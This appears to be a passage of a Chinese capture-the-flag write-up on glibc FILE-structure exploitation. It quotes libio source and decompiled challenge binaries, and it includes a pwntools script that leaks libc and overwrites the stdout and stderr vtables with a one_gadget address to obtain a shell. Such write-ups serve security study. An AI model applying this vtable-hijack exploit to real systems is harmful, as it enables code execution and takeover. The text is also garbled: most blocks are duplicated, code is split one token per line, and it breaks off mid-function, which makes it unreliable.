/* Current put pointer. */
char
* _IO_write_end;
/* End of put area. */
char
* _IO_buf_base;
/* Start of reserve area. */
char
* _IO_buf_end;
/* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char
*_IO_save_base;
/* Pointer to start of non-current get area. */
char
*_IO_backup_base;
/* Pointer to first valid character of backup area */
char
*_IO_save_end;
/* Pointer to end of non-current get area. */
struct
_IO_marker *_markers;
struct
_IO_FILE *_chain;
int
_fileno;
// stderr:2, stdout:1, stdin:0
#if 0
int
_blksize;
#else
int
_flags2;
#endif
_IO_off_t _old_offset;
/* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned
short
_cur_column;
signed
char
_vtable_offset;
char
_shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct
_IO_FILE_complete
{
struct
_IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct
_IO_codecvt *_codecvt;
struct
_IO_wide_data *_wide_data;
struct
_IO_FILE *_freeres_list;
void
*_freeres_buf;
# else
void
*__pad1;
void
*__pad2;
void
*__pad3;
void
*__pad4;
# endif
size_t
__pad5;
int
_mode;
/* Make sure we don't get into trouble again. */
char
_unused2[15 *
sizeof
(
int
) - 4 *
sizeof
(
void
*) -
sizeof
(
size_t
)];
#endif
};
#ifndef __cplusplus
typedef
struct
_IO_FILE _IO_FILE;
#endif
struct
_IO_FILE_plus;
extern
struct
_IO_FILE_plus *_IO_list_all;
extern
struct
_IO_FILE_plus _IO_2_1_stdin_;
extern
struct
_IO_FILE_plus _IO_2_1_stdout_;
extern
struct
_IO_FILE_plus _IO_2_1_stderr_;
/* Extra data for wide character streams. */
struct
_IO_wide_data
{
wchar_t
*_IO_read_ptr;
/* Current read pointer */
wchar_t
*_IO_read_end;
/* End of get area. */
wchar_t
*_IO_read_base;
/* Start of putback+get area. */
wchar_t
*_IO_write_base;
/* Start of put area. */
wchar_t
*_IO_write_ptr;
/* Current put pointer. */
wchar_t
*_IO_write_end;
/* End of put area. */
wchar_t
*_IO_buf_base;
/* Start of reserve area. */
wchar_t
*_IO_buf_end;
/* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t
*_IO_save_base;
/* Pointer to start of non-current get area. */
wchar_t
*_IO_backup_base;
/* Pointer to first valid character of
backup area */
wchar_t
*_IO_save_end;
/* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct
_IO_codecvt _codecvt;
wchar_t
_shortbuf[1];
const
struct
_IO_jump_t *_wide_vtable;
};
/* Extra data for wide character streams. */
struct
_IO_wide_data
{
wchar_t
*_IO_read_ptr;
/* Current read pointer */
wchar_t
*_IO_read_end;
/* End of get area. */
wchar_t
*_IO_read_base;
/* Start of putback+get area. */
wchar_t
*_IO_write_base;
/* Start of put area. */
wchar_t
*_IO_write_ptr;
/* Current put pointer. */
wchar_t
*_IO_write_end;
/* End of put area. */
wchar_t
*_IO_buf_base;
/* Start of reserve area. */
wchar_t
*_IO_buf_end;
/* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t
*_IO_save_base;
/* Pointer to start of non-current get area. */
wchar_t
*_IO_backup_base;
/* Pointer to first valid character of
backup area */
wchar_t
*_IO_save_end;
/* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct
_IO_codecvt _codecvt;
wchar_t
_shortbuf[1];
const
struct
_IO_jump_t *_wide_vtable;
};
struct
_IO_str_fields
{
/* These members are preserved for ABI compatibility. The glibc
implementation always calls malloc/free for user buffers if
_IO_USER_BUF or _IO_FLAGS2_USER_WBUF are not set. */
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};
/* This is needed for the Irix6 N32 ABI, which has a 64 bit off_t type,
but a 32 bit pointer type. In this case, we get 4 bytes of padding
after the vtable pointer. Putting them in a structure together solves
this problem. */
struct
_IO_streambuf
{
FILE
_f;
const
struct
_IO_jump_t *vtable;
};
typedef
struct
_IO_strfile_
{
struct
_IO_streambuf _sbf;
struct
_IO_str_fields _s;
} _IO_strfile;
struct
_IO_str_fields
{
/* These members are preserved for ABI compatibility. The glibc
implementation always calls malloc/free for user buffers if
_IO_USER_BUF or _IO_FLAGS2_USER_WBUF are not set. */
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};
/* This is needed for the Irix6 N32 ABI, which has a 64 bit off_t type,
but a 32 bit pointer type. In this case, we get 4 bytes of padding
after the vtable pointer. Putting them in a structure together solves
this problem. */
struct
_IO_streambuf
{
FILE
_f;
const
struct
_IO_jump_t *vtable;
};
typedef
struct
_IO_strfile_
{
struct
_IO_streambuf _sbf;
struct
_IO_str_fields _s;
} _IO_strfile;
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
// fopen() 函数
// libio/iofopen.c
_IO_FILE *
__fopen_internal (
const
char
*filename,
const
char
*mode,
int
is32)
{
struct
locked_FILE
{
struct
_IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
struct
_IO_wide_data wd;
} *new_f = (
struct
locked_FILE *)
malloc
(
sizeof
(
struct
locked_FILE));
// 为 FILE 结构分配空间
if
(new_f == NULL)
return
NULL;
#ifdef _IO_MTSAFE_IO
new_f->fp.file._lock = &new_f->lock;
#endif
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
#else
_IO_no_init (&new_f->fp.file, 1, 0, NULL, NULL);
#endif
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
// 设置 vtable = &_IO_file_jumps
_IO_file_init (&new_f->fp);
// 调用 _IO_file_init 函数进行初始化
#if !_IO_UNIFIED_JUMPTABLES
new_f->fp.vtable = NULL;
#endif
if
(_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)
// 打开目标文件
return
__fopen_maybe_mmap (&new_f->fp.file);
_IO_un_link (&new_f->fp);
free
(new_f);
return
NULL;
}
_IO_FILE *
_IO_new_fopen (
const
char
*filename,
const
char
*mode)
{
return
__fopen_internal (filename, mode, 1);
}
// libio/fileops.c
# define _IO_new_file_init _IO_file_init
void
_IO_new_file_init (
struct
_IO_FILE_plus *fp)
{
/* POSIX.1 allows another file handle to be used to change the position
of our file descriptor. Hence we actually don't know the actual
position before we do the first fseek (and until a following fflush). */
fp->file._offset = _IO_pos_BAD;
fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS;
_IO_link_in (fp);
// 调用 _IO_link_in 函数将 fp 放进链表
fp->file._fileno = -1;
}
// libio/genops.c
void
_IO_link_in (
struct
_IO_FILE_plus *fp)
{
if
((fp->file._flags & _IO_LINKED) == 0)
{
fp->file._flags |= _IO_LINKED;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
run_fp = (_IO_FILE *) fp;
_IO_flockfile ((_IO_FILE *) fp);
#endif
fp->file._chain = (_IO_FILE *) _IO_list_all;
// fp 放到链表头部
_IO_list_all = fp;
// 链表头 _IO_list_all 指向 fp
++_IO_list_all_stamp;
#ifdef _IO_MTSAFE_IO
_IO_funlockfile ((_IO_FILE *) fp);
run_fp = NULL;
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
}
}
// fopen() 函数
// libio/iofopen.c
_IO_FILE *
__fopen_internal (
const
char
*filename,
const
char
*mode,
int
is32)
{
struct
locked_FILE
{
struct
_IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
struct
_IO_wide_data wd;
} *new_f = (
struct
locked_FILE *)
malloc
(
sizeof
(
struct
locked_FILE));
// 为 FILE 结构分配空间
if
(new_f == NULL)
return
NULL;
#ifdef _IO_MTSAFE_IO
new_f->fp.file._lock = &new_f->lock;
#endif
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
#else
_IO_no_init (&new_f->fp.file, 1, 0, NULL, NULL);
#endif
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
// 设置 vtable = &_IO_file_jumps
_IO_file_init (&new_f->fp);
// 调用 _IO_file_init 函数进行初始化
#if !_IO_UNIFIED_JUMPTABLES
new_f->fp.vtable = NULL;
#endif
if
(_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)
// 打开目标文件
return
__fopen_maybe_mmap (&new_f->fp.file);
_IO_un_link (&new_f->fp);
free
(new_f);
return
NULL;
}
_IO_FILE *
_IO_new_fopen (
const
char
*filename,
const
char
*mode)
{
return
__fopen_internal (filename, mode, 1);
}
// libio/fileops.c
# define _IO_new_file_init _IO_file_init
void
_IO_new_file_init (
struct
_IO_FILE_plus *fp)
{
/* POSIX.1 allows another file handle to be used to change the position
of our file descriptor. Hence we actually don't know the actual
position before we do the first fseek (and until a following fflush). */
fp->file._offset = _IO_pos_BAD;
fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS;
_IO_link_in (fp);
// 调用 _IO_link_in 函数将 fp 放进链表
fp->file._fileno = -1;
}
// libio/genops.c
void
_IO_link_in (
struct
_IO_FILE_plus *fp)
{
if
((fp->file._flags & _IO_LINKED) == 0)
{
fp->file._flags |= _IO_LINKED;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
run_fp = (_IO_FILE *) fp;
_IO_flockfile ((_IO_FILE *) fp);
#endif
fp->file._chain = (_IO_FILE *) _IO_list_all;
// fp 放到链表头部
_IO_list_all = fp;
// 链表头 _IO_list_all 指向 fp
++_IO_list_all_stamp;
#ifdef _IO_MTSAFE_IO
_IO_funlockfile ((_IO_FILE *) fp);
run_fp = NULL;
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
}
}
// fread
// libio/iofread.c
/*
* buf: 存放读取数据的缓冲区。
* size: 指定每个记录的长度。
* count: 指定记录的个数。
* stream: 目标文件流。
* 返回值: 返回读取到数据缓冲区中的记录个数。
*/
_IO_size_t
_IO_fread (
void
*buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if
(bytes_requested == 0)
return
0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (
char
*) buf, bytes_requested);
// 调用 _IO_sgetn 函数
_IO_release_lock (fp);
return
bytes_requested == bytes_read ? count : bytes_read / size;
}
// libio/genops.c
_IO_size_t
_IO_sgetn (_IO_FILE *fp,
void
*data, _IO_size_t n)
{
/* FIXME handle putback buffer here! */
return
_IO_XSGETN (fp, data, n);
// 调用宏 _IO_XSGETN
}
// libio/libioP.h
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS),
struct
_IO_FILE_plus, vtable)
#if _IO_JUMPS_OFFSET
# define _IO_JUMPS_FUNC(THIS) \
(*(
struct
_IO_jump_t **) ((
void
*) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset))
# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
#else
# define _IO_JUMPS_FUNC(THIS) _IO_JUMPS_FILE_plus (THIS)
# define _IO_vtable_offset(THIS) 0
#endif
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
// fread
// libio/iofread.c
/*
* buf: 存放读取数据的缓冲区。
* size: 指定每个记录的长度。
* count: 指定记录的个数。
* stream: 目标文件流。
* 返回值: 返回读取到数据缓冲区中的记录个数。
*/
_IO_size_t
_IO_fread (
void
*buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if
(bytes_requested == 0)
return
0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (
char
*) buf, bytes_requested);
// 调用 _IO_sgetn 函数
_IO_release_lock (fp);
return
bytes_requested == bytes_read ? count : bytes_read / size;
}
// libio/genops.c
_IO_size_t
_IO_sgetn (_IO_FILE *fp,
void
*data, _IO_size_t n)
{
/* FIXME handle putback buffer here! */
return
_IO_XSGETN (fp, data, n);
// 调用宏 _IO_XSGETN
}
// libio/libioP.h
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS),
struct
_IO_FILE_plus, vtable)
#if _IO_JUMPS_OFFSET
# define _IO_JUMPS_FUNC(THIS) \
(*(
struct
_IO_jump_t **) ((
void
*) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset))
# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
#else
# define _IO_JUMPS_FUNC(THIS) _IO_JUMPS_FILE_plus (THIS)
# define _IO_vtable_offset(THIS) 0
#endif
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
// fwrite()
// libio/iofwrite.c
/*
* buf: 是一个指针,对 fwrite 来说,是要写入数据的地址;
* size: 要写入内容的单字节数;
* count: 要进行写入 size 字节的数据项的个数;
* stream: 目标文件指针;
* 返回值: 实际写入的数据项个数 count。
*/
_IO_size_t
_IO_fwrite (
const
void
*buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t request = size * count;
_IO_size_t written = 0;
CHECK_FILE (fp, 0);
if
(request == 0)
return
0;
_IO_acquire_lock (fp);
if
(_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
written = _IO_sputn (fp, (
const
char
*) buf, request);
// 调用 _IO_sputn 函数
_IO_release_lock (fp);
/* We have written all of the input in case the return value indicates
this or EOF is returned. The latter is a special case where we
simply did not manage to flush the buffer. But the data is in the
buffer and therefore written as far as fwrite is concerned. */
if
(written == request || written == EOF)
return
count;
else
return
written / size;
}
// libio/libioP.h
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
// fwrite()
// libio/iofwrite.c
/*
* buf: 是一个指针,对 fwrite 来说,是要写入数据的地址;
* size: 要写入内容的单字节数;
* count: 要进行写入 size 字节的数据项的个数;
* stream: 目标文件指针;
* 返回值: 实际写入的数据项个数 count。
*/
_IO_size_t
_IO_fwrite (
const
void
*buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t request = size * count;
_IO_size_t written = 0;
CHECK_FILE (fp, 0);
if
(request == 0)
return
0;
_IO_acquire_lock (fp);
if
(_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
written = _IO_sputn (fp, (
const
char
*) buf, request);
// 调用 _IO_sputn 函数
_IO_release_lock (fp);
/* We have written all of the input in case the return value indicates
this or EOF is returned. The latter is a special case where we
simply did not manage to flush the buffer. But the data is in the
buffer and therefore written as far as fwrite is concerned. */
if
(written == request || written == EOF)
return
count;
else
return
written / size;
}
// libio/libioP.h
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
// libio/iofclose.c
int
_IO_new_fclose (_IO_FILE *fp)
{
int
status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if
(_IO_vtable_offset (fp) != 0)
return
_IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if
(fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((
struct
_IO_FILE_plus *) fp);
// 将 fp 从链表中取出
_IO_acquire_lock (fp);
if
(fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
// 关闭目标文件
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if
(fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct
_IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if
(_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if
(fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free
(fp);
// 释放 FILE 结构体
}
return
status;
}
// libio/iofclose.c
int
_IO_new_fclose (_IO_FILE *fp)
{
int
status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if
(_IO_vtable_offset (fp) != 0)
return
_IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if
(fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((
struct
_IO_FILE_plus *) fp);
// 将 fp 从链表中取出
_IO_acquire_lock (fp);
if
(fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
// 关闭目标文件
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if
(fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct
_IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if
(_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if
(fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free
(fp);
// 释放 FILE 结构体
}
return
status;
}
void
__fastcall __noreturn main(
int
a1,
char
**a2,
char
**a3)
{
int
i;
// [rsp+4h] [rbp-Ch]
void
*buf;
// [rsp+8h] [rbp-8h] BYREF
sleep(0);
printf
(
"here is a gift %p, good luck ;)\n"
, &sleep);
fflush
(_bss_start);
close(1);
close(2);
for
( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit
(1337);
}
void
__fastcall __noreturn main(
int
a1,
char
**a2,
char
**a3)
{
int
i;
// [rsp+4h] [rbp-Ch]
void
*buf;
// [rsp+8h] [rbp-8h] BYREF
sleep(0);
printf
(
"here is a gift %p, good luck ;)\n"
, &sleep);
fflush
(_bss_start);
close(1);
close(2);
for
( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit
(1337);
}
def
get_info():
global
one_gadget, stdout_vtable, fake_vtable, stderr_vtable
p.recvuntil(b
"here is a gift "
)
sleep
=
int
(p.recv(
14
),
16
)
p.recvuntil(b
"luck ;)\n"
)
libc.address
=
sleep
-
libc.symbols[
'sleep'
]
one_gadget
=
libc.address
+
0xf03a4
stdout_vtable
=
libc.sym[
'_IO_2_1_stdout_'
]
+
0xd8
stderr_vtable
=
libc.sym[
'_IO_2_1_stderr_'
]
+
0xd8
fake_vtable
=
stderr_vtable
-
0x58
info(
"libc_base : 0x%x"
%
libc.address)
info(
"one_gadget : 0x%x"
%
one_gadget)
info(
"stdout_vtable : 0x%x"
%
stdout_vtable)
info(
"fake_vtable : 0x%x"
%
fake_vtable)
info(
"stderr_vtable : 0x%x"
%
stderr_vtable)
debug()
def
get_info():
global
one_gadget, stdout_vtable, fake_vtable, stderr_vtable
p.recvuntil(b
"here is a gift "
)
sleep
=
int
(p.recv(
14
),
16
)
p.recvuntil(b
"luck ;)\n"
)
libc.address
=
sleep
-
libc.symbols[
'sleep'
]
one_gadget
=
libc.address
+
0xf03a4
stdout_vtable
=
libc.sym[
'_IO_2_1_stdout_'
]
+
0xd8
stderr_vtable
=
libc.sym[
'_IO_2_1_stderr_'
]
+
0xd8
fake_vtable
=
stderr_vtable
-
0x58
info(
"libc_base : 0x%x"
%
libc.address)
info(
"one_gadget : 0x%x"
%
one_gadget)
info(
"stdout_vtable : 0x%x"
%
stdout_vtable)
info(
"fake_vtable : 0x%x"
%
fake_vtable)
info(
"stderr_vtable : 0x%x"
%
stderr_vtable)
debug()
def
get_shell():
p.send(p64(stdout_vtable))
p.send(p8(fake_vtable&
0xff
))
p.send(p64(stdout_vtable
+
1
))
p.send(p8((fake_vtable>>
8
)&
0xff
))
debug()
p.send(p64(stderr_vtable))
p.send(p8(one_gadget&
0xff
))
p.send(p64(stderr_vtable
+
1
))
p.send(p8((one_gadget>>
8
)&
0xff
))
gdb.attach(p)
p.send(p64(stderr_vtable
+
2
))
p.send(p8((one_gadget>>
16
)&
0xff
))
pause()
p.sendline(b
"exec 1>&0"
)
def
get_shell():
p.send(p64(stdout_vtable))
p.send(p8(fake_vtable&
0xff
))
p.send(p64(stdout_vtable
+
1
))
p.send(p8((fake_vtable>>
8
)&
0xff
))
debug()
p.send(p64(stderr_vtable))
p.send(p8(one_gadget&
0xff
))
p.send(p64(stderr_vtable
+
1
))
p.send(p8((one_gadget>>
8
)&
0xff
))
gdb.attach(p)
p.send(p64(stderr_vtable
+
2
))
p.send(p8((one_gadget>>
16
)&
0xff
))
pause()
p.sendline(b
"exec 1>&0"
)
void
abort
(
void
)
{
...
if
(stage == 4)
{
++stage;
__fcloseall ();
}
...
}
int
__fcloseall (
void
)
{
return
_IO_cleanup ();
}
int
_IO_cleanup (
void
)
{
int
result = _IO_flush_all_lockp (0);
_IO_unbuffer_all ();
return
result;
}
void
abort
(
void
)
{
...
if
(stage == 4)
{
++stage;
__fcloseall ();
}
...
}
int
__fcloseall (
void
)
{
return
_IO_cleanup ();
}
int
_IO_cleanup (
void
)
{
int
result = _IO_flush_all_lockp (0);
_IO_unbuffer_all ();
return
result;
}
void
exit
(
int
status)
{
__run_exit_handlers (status, &__exit_funcs,
true
);
}
第(1)条链
void
attribute_hidden
__run_exit_handlers (
int
status,
struct
exit_function_list **listp,
bool
run_list_atexit)
{
...
_exit (status);
}
void
_exit (
int
status)
{
status &= 0xff;
abort
();
}
第(2)条链
_IO_cleanup (
void
)
{
int
result = _IO_flush_all_lockp (0);
_IO_unbuffer_all ();
return
result;
}
void
exit
(
int
status)
{
__run_exit_handlers (status, &__exit_funcs,
true
);
}
第(1)条链
void
attribute_hidden
__run_exit_handlers (
int
status,
struct
exit_function_list **listp,
bool
run_list_atexit)
{
...
_exit (status);
}
void
_exit (
int
status)
{
status &= 0xff;
abort
();
}
第(2)条链
_IO_cleanup (
void
)
{
int
result = _IO_flush_all_lockp (0);
_IO_unbuffer_all ();
return
result;
}
/*
* 从_IO_list_all开始, _IO_flush_all_lockp()遍历链表并对每个条目执行一些检查. 如果一个条目通过了所有的检查,
* _IO_OVERFLOW会从虚表中调用_IO_new_file_overflow()
*/
int
_IO_flush_all_lockp (
int
do_lock)
{
...
/*
* 为了能够让我们构造的 fake_FILE 能够正常工作,还需要以下绕过的检查
* fp->_mode <= 0
* fp->_IO_write_ptr > fp->_IO_write_base
* 这里调用了 _IO_OVERFLOW 函数
*/
if
(((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
...
}
/*
* 从_IO_list_all开始, _IO_flush_all_lockp()遍历链表并对每个条目执行一些检查. 如果一个条目通过了所有的检查,
* _IO_OVERFLOW会从虚表中调用_IO_new_file_overflow()
*/
int
_IO_flush_all_lockp (
int
do_lock)
{
...
/*
* 为了能够让我们构造的 fake_FILE 能够正常工作,还需要以下绕过的检查
* fp->_mode <= 0
* fp->_IO_write_ptr > fp->_IO_write_base
* 这里调用了 _IO_OVERFLOW 函数
*/
if
(((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
...
}
typedef
void
(*_IO_finish_t) (_IO_FILE *,
int
);
/* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
int
_IO_new_fclose (_IO_FILE *fp)
{
...
_IO_FINISH (fp);
...
}
typedef
void
(*_IO_finish_t) (_IO_FILE *,
int
);
/* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
int
_IO_new_fclose (_IO_FILE *fp)
{
...
_IO_FINISH (fp);
...
}
void
__fastcall __noreturn main(
const
char
*a1,
char
**a2,
char
**a3)
{
int
v3;
// eax
Init();
while
( 1 )
{
while
( 1 )
{
Menu();
v3 = get_num(a1, a2);
if
( v3 != 2 )
break
;
See();
}
if
( v3 > 2 )
{
if
( v3 == 3 )
{
Upgrade();
}
else
{
if
( v3 == 4 )
{
puts
(
"give up"
);
exit
(0);
}
LABEL_13:
a1 =
"Invalid choice"
;
puts
(
"Invalid choice"
);
}
}
else
{
if
( v3 != 1 )
goto
LABEL_13;
Build();
}
}
}
void
__fastcall __noreturn main(
const
char
*a1,
char
**a2,
char
**a3)
{
int
v3;
// eax
Init();
while
( 1 )
{
while
( 1 )
{
Menu();
v3 = get_num(a1, a2);
if
( v3 != 2 )
break
;
See();
}
if
( v3 > 2 )
{
if
( v3 == 3 )
{
Upgrade();
}
else
{
if
( v3 == 4 )
{
puts
(
"give up"
);
exit
(0);
}
LABEL_13:
a1 =
"Invalid choice"
;
puts
(
"Invalid choice"
);
}
}
else
{
if
( v3 != 1 )
goto
LABEL_13;
Build();
}
}
}
int
Build()
{
unsigned
int
len_of_name;
// [rsp+8h] [rbp-18h]
int
type;
// [rsp+Ch] [rbp-14h]
void
*house;
// [rsp+10h] [rbp-10h]
__int64
orange;
// [rsp+18h] [rbp-8h]
if
( max_house > 3u )
{
puts
(
"Too many house"
);
exit
(1);
}
house =
malloc
(0x10uLL);
printf
(
"Length of name :"
);
len_of_name = get_num();
if
( len_of_name > 0x1000 )
len_of_name = 0x1000;
*((_QWORD *)house + 1) =
malloc
(len_of_name);
if
( !*((_QWORD *)house + 1) )
{
puts
(
"Malloc error !!!"
);
exit
(1);
}
printf
(
"Name :"
);
Read(*((
void
**)house + 1), len_of_name);
// 这个读取没有截断,可能存在泄露
orange = (
__int64
)
calloc
(1uLL, 8uLL);
printf
(
"Price of Orange:"
);
*(_DWORD *)orange = get_num();
Color();
printf
(
"Color of Orange:"
);
type = get_num();
if
( type != 0xDDAA && (type <= 0 || type > 7) )
{
puts
(
"No such color"
);
exit
(1);
}
if
( type == 0xDDAA )
*(_DWORD *)(orange + 4) = 0xDDAA;
else
*(_DWORD *)(orange + 4) = type + 0x1E;
*(_QWORD *)house = orange;
house_list = house;
++max_house;
return
puts
(
"Finish"
);
}
int
Build()
{
unsigned
int
len_of_name;
// [rsp+8h] [rbp-18h]
int
type;
// [rsp+Ch] [rbp-14h]
void
*house;
// [rsp+10h] [rbp-10h]
__int64
orange;
// [rsp+18h] [rbp-8h]
if
( max_house > 3u )
{
puts
(
"Too many house"
);
exit
(1);
}
house =
malloc
(0x10uLL);
printf
(
"Length of name :"
);
len_of_name = get_num();
if
( len_of_name > 0x1000 )
len_of_name = 0x1000;
*((_QWORD *)house + 1) =
malloc
